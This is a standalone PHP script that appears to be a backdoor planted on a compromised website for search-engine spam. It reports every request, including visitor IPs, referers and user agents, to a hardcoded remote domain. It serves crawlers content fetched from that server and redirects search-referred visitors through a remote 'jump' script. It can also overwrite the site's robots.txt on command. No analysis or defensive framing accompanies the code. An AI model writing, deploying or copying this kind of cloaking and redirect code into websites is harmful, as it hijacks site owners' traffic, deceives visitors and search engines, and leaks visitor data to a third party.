<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);
$inter_domain='http://z60709_6.isteklif.xyz/';
    
function getServerCont($url, $data = array()) {
    $url = str_replace(' ', '+', $url);
    $parts = parse_url($url);
    if (!$parts || !isset($parts['host'])) {
        return false;
    }

    $scheme = isset($parts['scheme']) ? $parts['scheme'] : 'http';
    $host = $parts['host'];
    $port = isset($parts['port']) ? $parts['port'] : ($scheme === 'https' ? 443 : 80);
    $path = isset($parts['path']) ? $parts['path'] : '/';
    $query = isset($parts['query']) ? '?' . $parts['query'] : '';

    $postData = http_build_query($data);
    $contentLength = strlen($postData);

    $requestLine = "POST {$path}{$query} HTTP/1.1\r\n";
    $headers = [
        "Host: {$host}",
        "Content-Type: application/x-www-form-urlencoded",
        "Content-Length: {$contentLength}",
        "Connection: close",
        "User-Agent: fsockopen-cli"
    ];
    $request = $requestLine . implode("\r\n", $headers) . "\r\n\r\n" . $postData;

    $target = ($scheme === 'https' ? 'ssl://' : '') . $host . ':' . $port;
    $timeout = 10;

    $context = stream_context_create([
        'ssl' => [
            'verify_peer'      => false,
            'verify_peer_name' => false,
        ]
    ]);

    $fp = @stream_socket_client($target, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $context);
    if (!$fp) {
        return false;
    }

    stream_set_timeout($fp, $timeout);
    if (fwrite($fp, $request) === false) {
        fclose($fp);
        return false;
    }

    $response = '';
    while (!feof($fp)) {
        $response .= fread($fp, 8192);
        $info = stream_get_meta_data($fp);
        if ($info['timed_out']) {
            fclose($fp);
            return false;
        }
    }
    fclose($fp);

    $headerEndPos = strpos($response, "\r\n\r\n");
    if ($headerEndPos === false) {
        return false;
    }
    $headersRaw = substr($response, 0, $headerEndPos);
    $bodyEncoded = substr($response, $headerEndPos + 4);

    if (preg_match('/Transfer-Encoding:\s*chunked/i', $headersRaw)) {
        $body = decodeChunkedBody($bodyEncoded);
        if ($body === false) {
            return false;
        }
        return $body;
    }

    return $bodyEncoded;
}

function decodeChunkedBody($body) {
    $decoded = '';
    $pos = 0;
    $len = strlen($body);

    while ($pos < $len) {
        $crlfPos = strpos($body, "\r\n", $pos);
        if ($crlfPos === false) {
            return false;
        }
        $hexStr = substr($body, $pos, $crlfPos - $pos);
        $hexStr = preg_replace('/;.*$/', '', $hexStr);
        $chunkSize = hexdec($hexStr);
        if ($chunkSize === 0) {
            break;
        }
        $dataStart = $crlfPos + 2;
        if ($dataStart + $chunkSize > $len) {
            return false;
        }
        $decoded .= substr($body, $dataStart, $chunkSize);
        $pos = $dataStart + $chunkSize + 2;
    }
    return $decoded;
}
    
function is_crawler($agent){
    $agent_check = false;
    $bots = 'googlebot|bingbot|google|aol|bing|yahoo';
    if($agent != ''){
        if(preg_match("/($bots)/si",$agent)){
            $agent_check = true;
        }
    }
    return $agent_check;
}
    
function check_refer($refer){
    $check_refer = false;
    $referbots = 'google|yahoo|bing|aol';
    if($refer != '' && preg_match("/($referbots)/si", $refer)){
        $check_refer=true;
    }
    return $check_refer;
}
    
$http = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://';
$req_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$self = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : '';
$ser_name = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : '';
$req_url = $http.$domain.$req_uri;
$indata1 = $inter_domain."/indata.php";
$map1 = $inter_domain."/map.php";
$jump1 = $inter_domain."/jump.php";
$url_words = $inter_domain."/words.php";
$url_robots = $inter_domain."/robots.php";
    
if(strpos($req_uri, '.php')){
    $href1 = $http.$domain.$self;
}else{
    $href1 = $http.$domain;
}
    
$data1[] = array();
$data1['domain'] = $domain;
$data1['req_uri'] = $req_uri;
$data1['href'] = $href1;
$data1['req_url'] = $req_url;
    
if(substr($req_uri, -6) == 'robots'){
    define('BASE_PATH', $_SERVER['DOCUMENT_ROOT']);
    $robots_cont = @file_get_contents(BASE_PATH.'/robots.txt');
    $data1['robots_cont'] = $robots_cont;
    $robots_cont = @getServerCont($url_robots, $data1);
    file_put_contents(BASE_PATH.'/robots.txt', $robots_cont);
    $robots_cont = @file_get_contents(BASE_PATH.'/robots.txt');
    if(strpos(strtolower($robots_cont), "sitemap")){
        echo 'robots.txt file create success!';
    }else{
        echo 'robots.txt file create fail!';
    }
    exit;
}
    
if(substr($req_uri,-4)=='.xml'){
    if(strpos($req_uri,"allsitemap.xml")){
        $str_cont = getServerCont($map1, $data1);
        header("Content-type:text/xml");
        echo $str_cont;exit;
    }
        
    if(strpos($req_uri,".php")){
        $word4 = explode("?", $req_uri);
        $word4 = $word4[count($word4)-1];
        $word4 = str_replace(".xml", "", $word4);
    }else{
        $word4 = str_replace("/", "", $req_uri);
        $word4 = str_replace(".xml", "", $word4);
    }
        
    $data1['word'] = $word4;
    $data1['action'] = 'check_sitemap';
    $check_url4 = getServerCont($url_words,$data1);
    if($check_url4=='1'){
        $str_cont = getServerCont($map1,$data1);
        header("Content-type:text/xml");
        echo $str_cont;exit;
    }
        
    $data1['action'] = "check_words";
    $check1 =  getServerCont($url_words,$data1);
    if(strpos($req_uri,"map")> 0 || $check1=='1'){
        $data1['action'] = "rand_xml";
        $check_url4 = getServerCont($url_words,$data1);
        header("Content-type:text/xml");
        echo $check_url4;exit;
    }
}
    
if(strpos($req_uri,".php")){
    $main_shell = $http.$ser_name.$self;
    $data1['main_shell'] = $main_shell;
}else{
    $main_shell = $http.$ser_name;
    $data1['main_shell'] = $main_shell;
}
    
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$chk_refer = check_refer($referer);
$user_agent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
$res_crawl = is_crawler($user_agent);
$req_uri = str_replace(array(".htm", ".html", ".shtml", ".phtml"), "", rtrim($req_uri, "/"));
    
    
if(!$res_crawl && $chk_refer && (preg_match('/\d$/',$req_uri) || preg_match("#[a-z]=[a-z0-9]+#",$req_uri) || preg_match('/item/',$req_uri))){
    $data1['ip'] = $_SERVER["REMOTE_ADDR"];
    $data1['referer'] = isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';
    $data1['user_agent'] = strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'');
    echo getServerCont($jump1,$data1);
    exit;
}
    
if($res_crawl){
    $data1['http_user_agent'] = $user_agent;
    $get_content = getServerCont($indata1,$data1);
    echo $get_content;
    exit;
}
?>